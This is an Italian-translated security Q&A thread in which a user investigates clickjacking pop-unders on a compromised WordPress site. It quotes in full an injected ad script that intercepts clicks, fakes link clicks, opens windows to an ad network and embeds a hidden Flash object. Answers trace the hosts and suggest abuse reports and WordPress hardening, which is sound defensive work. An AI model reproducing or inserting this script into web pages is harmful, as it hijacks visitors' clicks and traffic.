Come rintracciare l'origine dell'attacco di clickjacking all'interno di un sito Web utilizzando strumenti di sviluppo?

5

Durante la navigazione su un famoso sito web di Wordpress sul mio cellulare, facendo clic su un collegamento a un articolo all'interno si apriva talvolta una nuova finestra su un sito Web dannoso o si avviava il negozio di applicazioni. Sono interessato a scoprire come questo viene fatto utilizzando gli strumenti di sviluppo. Ho provato a lanciare il suddetto sito Web utilizzando Google Chrome e simulando il mio agente utente mobile. In effetti, alcuni siti Web dannosi casuali vengono aperti in una nuova finestra.

Tuttavia, al passaggio del mouse sopra i collegamenti sul sito originale non viene fornito alcun suggerimento sull'apertura di un collegamento dannoso. Inoltre, non è stato possibile rintracciare il link dannoso effettuando ricerche nel codice sorgente della pagina HTML visualizzata su Chrome. Sembra che siano applicate alcune magie Javascript e CSS.

UPDATE:
Sono riuscito a tracciare il sorgente del clickjacking con uno script caricato dinamicamente di seguito:

!function () {
  var e = document,
  t = _gunggo,
  a = t.browser,
  o = t.lib,
  i = t.pop = t.pop || {
    placeHolder: function (e) {
      t.pop.trigger(e)
    }
  },
  r = t.settings.pop = t.settings.pop || {
  };
  r.kw = r.kw || '',
  r.ref = r.ref || '',
  r.type = r.type || 'popunder',
  r.infinite = r.premium || r.infinite || '',
  o.attEvt(e, 'mousedown', i.placeHolder, 1),
  o.attEvt(e, 'click', i.placeHolder, 1),
  o.attEvt(e, 'touchstart', i.placeHolder, 1),
  (r.geotarget || r.price) && o.passGeo(),
  i.enableFlashHack = 0,
  i.url = function () {
    var e = navigator,
    a = screen;
    return '//ad.directrev.com/RealMedia/ads/adstream_sx.ads/' + t.settings.siteID + '/1' + 100000000000000000 * Math.random() + '@x10?uln=' + (e.language ? e.language : e.userLanguage).toLowerCase() + '&je=' + e.javaEnabled() + '&ce=' + e.cookieEnabled + '&sr=' + a.width + 'x' + a.height + '&kw=' + r.kw + '&ref=' + r.ref
  },
  i.lock = function (e) {
    e = e || window.event;
    var t = e.target || e.srcElement;
    t = t && t.tagName ? t.tagName.toUpperCase()  : 0,
    e.cancelBubble = 1,
    e.preventDefault && e.preventDefault(),
    e.stopImmediatePropagation && e.stopImmediatePropagation(),
    e.stopPropagation && e.stopPropagation(),
    e.stop && e.stop()
  },
  i.trigger = function (e) {
    var n = t.settings;
    o.saveActiveViews(r, '_g.pop.views'),
    o.saveActiveViews = function () {
    };
    try {
      if (t.trace.warn('user click'), i.pause) return;
      if ('Chrome' != a.agent && 'mousedown' == e.type || 'Firefox' == a.agent && 2 == e.button) return;
      if (r.ostarget && !o.passOS(r)) return;
      if (r.mobileOnly && !a.isMobile()) return;
      if (r.browserTarget && !o.passBrowser(r)) return;
      if (r.freqcap && !o.passFreqCap(r, '_g.pop')) return;
      if (r.activeViews && !o.passActiveViews(r, '_g.pop.views')) return;
      if (r.geotarget && !o.passGeo(null, r)) return;
      r.price && (n.siteID = o.getSiteIDByGeo(r, n.siteID)),
      t.trace.warn('pass checks'),
      n.debug && 0 !== r.mode && (r.mode = r.mode || 10),
      r.mode = !n.debug && (r.mode < 10 && 0 !== r.mode || 'undefined' == typeof r.mode) ? 10 : r.mode,
      r.infinite && (r.mode = r.infinite),
      o.log('mode: ' + r.mode)
    } catch (s) {
      return void o.log(s)
    }
    'tab' == r.type && 'Chrome' == a.agent ? (i.botClick(i.url()), i.pause = 1, setTimeout(i.clear, 1))  : i.enableFlashHack && i.swf.PercentLoaded() > 0 && 'HTML' != e.target.tagName && 'OBJECT' != e.target.tagName ? 0 == e.button && (i.swf.style.width = i.swf.style.height = '100%', setTimeout(function () {
      i.swf.style.width = i.swf.style.height = '1px'
    }, 2000))  : i.clickHandler()
  },
  i.clickHandler = function () {
    i.pause = 1,
    t.trace.warn('new window');
    var e = screen,
    o = r.width || e.width,
    s = r.height || e.height,
    l = a.agent,
    p = 'tab' == r.type ? '' : 'width=' + o + ',height=' + s + ',top=' + (e.height - s) / 2 + ',left=' + (e.width - o) / 2 + ',resizable=no,scrollbars=yes,toolbar=no,location=no,directories=no,status=no,menubar=no,copyhistory=no';
    'swaptab' != r.type ? n = open(i.url(), '_blank', p)  : (n = open(self.location, '_blank', ''), self.location = i.url()),
    setTimeout(i.clear, 1),
    'popup' != r.type && ('Firefox' == l && n.window.open('about:blank').close(), 'Explorer' == l && (n.blur(), n.opener.focus()))
  },
  i.clear = function () {
    t.trace.warn('clean up'),
    i.pause = 1;
    var a = i.swf;
    r.mode >= 0 && o.saveFreq(r, '_g.pop', r.domain ? r.domain : null),
    r.infinite && (r.mode = r.infinite),
    r.mode <= 0 ? (o.detEvt(e, 'click', i.placeHolder, 1), o.detEvt(e, 'mousedown', i.placeHolder, 1), o.detEvt(e, 'touchstart', i.placeHolder, 1), setTimeout(function () {
      a && e.body.removeChild(a)
    }, 200))  : setTimeout(function () {
      r.freqcap = null,
      r.mode = i.pause = 0,
      a && (a.style.visibility = ''),
      t.trace.warn('reopen start')
    }, 1000 * r.mode),
    a && (a.style.visibility = 'hidden', a.style.width = a.style.height = '1px')
  },
  i.botClick = function (t) {
    var a = e.createElement('a'),
    o = e.createEvent('MouseEvents');
    a.href = t,
    o.initMouseEvent('click', 1, 1, window, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, null),
    a.dispatchEvent(o)
  },
  i.flash = function () {
    o.log('body loaded');
    var t = HTMLElement.prototype,
    a = e.createElement('param'),
    n = e.createElement('object');
    t.attr = t.setAttribute,
    a.attr('name', 'allowscriptaccess'),
    a.attr('value', 'always'),
    n.appendChild(a),
    a = e.createElement('param'),
    a.attr('name', 'wmode'),
    a.attr('value', 'transparent'),
    n.appendChild(a),
    n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),
    n.attr('style', 'position:fixed;width:1px;height:1px;z-index:999999;overflow:hidden;left:0px'),
    e.body.insertBefore(n, e.body.firstChild),
    i.swf = n,
    e.removeEventListener('DOMContentLoaded', i.flash)
  },
  i.init = function () {
    try {
      o.detEvt(e, 'mousedown', _gunggo.pop.open, 1),
      o.detEvt(e, 'click', _gunggo.pop.open, 1)
    } catch (t) {
    }
  },
  i.clkPop = i.trigger,
  a.flash && 'popunder' == r.type && 'Chrome' == a.agent && a.version <= 42 && (e.body ? i.flash()  : e.addEventListener('DOMContentLoaded', i.flash), i.enableFlashHack = 1)
}();

Correggimi se sbaglio, sembra che il clic dell'utente sia soppresso con la funzione i.lock e un clic sia simulato con la funzione i.botClick su un elemento di collegamento creato dinamicamente.

Senza eseguire scrupolosamente il debugging della pagina passando da 20 a Javascripts, c'è un modo facile e veloce per identificare la fonte di un attacco di tipo clickjacking in modo da poter avvisare il proprietario del sito, che potrebbe non essere esperto in javascript, su questo problema nascosto.

    
posta Question Overflow 09.08.2015 - 07:34
fonte

2 risposte

3

Le parti dello script che hai identificato che sono importanti per l'origine sono le seguenti:

//ad.directrev.com/RealMedia/ads/adstream_sx.ads/

e

n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),

Entrambi sono URL e possono essere utilizzati per identificare chi è coinvolto in questo script. Il primo URL identifica la rete di affiliazione pubblicitaria - "directrev.com" - che funge da intermediario per l'editore (in questo caso, un hacker dalla tua descrizione) e l'inserzionista. Utilizzando reti affiliate come queste, gli hacker possono monetizzare siti Web compromessi.

Il secondo URL collega a un file Flash che viene scaricato dalla rete CDN di Edge Networks. Non ho decompresso il file (g.swf); è probabile che, una volta eseguito, il file Flash scarichi una sorta di pacchetto malware. Posso tentare di decompilarlo se sei interessato e, poiché il tempo lo consente, probabilmente ci sarà un altro indirizzo IP o host referenziato all'interno.

Questo secondo URL può essere ulteriormente utilizzato per identificare chi è coinvolto nello schema che hai descritto - I clienti di Edge Network sono, credo, assegnati a nomi host standardizzati in base ai loro numeri ID cliente - in questo caso, az413505.vo.msecnd. netto. L'invio di un reclamo di abuso a Edgecast con una copia dello script che hai fornito qui dovrebbe comportare la cessazione del servizio; a condizione che Edgecast applichi e AUP standard del settore.

Come per gli altri commenti che discutono la differenza tra "click-jacking" e "popunders"; IMO o termine è rilevante qui. I giornalisti usano il termine popunder per tentare di legittimare una pratica ingannevole, dannosa e spesso illegale. Il click-jacking viene generalmente utilizzato da coloro che sono stati vittime di tali pratiche. Preferisco il click-jacking perché descrive più accuratamente cosa è accaduto - il popunder ricorda troppo facilmente "popup", un'azione che lascerebbe la pagina di navigazione originale ancora al suo posto. In particolare in questo scenario, in cui la pubblicità è stata messa in atto attraverso il defacing di un sito Web, il click-jacking comporta meglio il furto del traffico che si sta verificando.

Infine; Potrei aver frainteso cosa OP significa qui per "fonte" - come lei o lui potrebbe aver fatto riferimento a come il sito web in questione è stato originariamente compromesso. Questi tipi di defacement si verificano regolarmente attraverso l'exploit di versioni e plug-in Wordpress più vecchi e non sicuri. Sfortunatamente, una semplice analisi del codice è l'unico modo per essere sicuri, ma raccomanderei di iniziare ripristinando le password degli account, disabilitando i plug-in obsoleti e assicurando che Wordpress sia l'ultima versione. Altre destinazioni non di Wordpress includono modulo Web e SQL injection.

    
risposta data 03.11.2015 - 20:43
fonte
-1

Poiché stai utilizzando gli Strumenti per gli sviluppatori di Google Chrome, qui alcune informazioni dalla mia esperienza:

  • POTREBBE ESSERE che la modifica di User Agent non venga applicata nel sito web. L'emulatore di agente utente mobile in Google Chrome Developer Tools non è molto efficiente, a volte funziona e talvolta no. Dipende dal rilevamento del programma utente del sito Web (Web Mobile Developer). Dovresti provare con Firefox o magari con un emulatore Android.
  • Se si sta bene con l'HTML, è necessario disabilitare JavaScript, SOLO PER SCOPI DI SICUREZZA, disabilitarlo con gli Strumenti per sviluppatori o utilizzando i plug-in NoScript.
  • Analisi tag nella pagina iniziale e nel piè di pagina. Come sviluppatore Web Mobile cerchiamo sempre di inserire tutti gli script nell'intestazione o nel piè di pagina della pagina solo per il caricamento e una migliore esperienza utente. Un utente malintenzionato può controllare un sacco di convalide del tuo dispositivo mobile prima di caricare l'intera pagina, quindi inizia con l'intestazione.
  • Controlla la scheda Rete in Strumenti per sviluppatori. Questo è utile per sapere cosa viene caricato nella pagina. Forse non solo la pagina viene caricata, ma anche un utente malintenzionato potrebbe caricare iframe solo per il controllo dei dispositivi.

E un'altra cosa: verifica sempre le intestazioni e la risposta HTTP. Nella scheda di rete, puoi controllare quale server sta usando l'aggressore e forse potrebbe funzionare un po 'di Page Error Pentesting.

    
risposta data 10.08.2015 - 05:43
fonte

Leggi altre domande sui tag